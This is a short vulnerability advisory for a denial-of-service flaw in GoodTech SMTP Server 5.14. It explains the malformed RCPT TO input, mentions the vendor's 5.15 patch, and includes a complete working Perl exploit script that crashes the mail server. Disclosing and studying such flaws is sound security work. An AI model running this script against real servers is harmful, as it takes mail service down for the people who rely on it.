Summary:
Denial of Service vulnerability in GoodTech SMTP Server for Windows
NT/2000/XP version 5.14
(http://www.goodtechsys.com/)

Details:
Input to the RCPT TO command is not properly checked and/or filtered.
Issuing a single character 'A' as an argument to the RCTP TO command
will cause the smtpd process to die.

Vulnerable Versions:
GoodTech SMTP Server for Windows NT/2000/XP version 5.14

Patches/Workarounds:
The vendor has released version 5.15 to patch the affected software.
It is available at http://www.goodtechsys.com/.

Exploit:
Run the following PERL script against the server. The process will die.

#===== Start GoodTechSMTPServer_DOS.pl =====
#
# Usage: GoodTechSMTPServer_DOS.pl <ip>
#        GoodTechSMTPServer_DOS.pl 127.0.0.1
#
# GoodTech SMTP Server for Windows NT/2000/XP version 5.14
#
# Download:
# http://www.goodtechsys.com/
#
###########################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
            PeerPort => "25",
            Proto    => "TCP"))
{
  print "Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...";

  sleep(1);

  print $socket "HELO moto.com\r\n";

  sleep(1);

  print $socket "RCPT TO: A\r\n";

  close($socket);
}
else
{
  print "Cannot connect to $ARGV[0]:25\n";
}
#===== End GoodTechSMTPServer_DOS.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)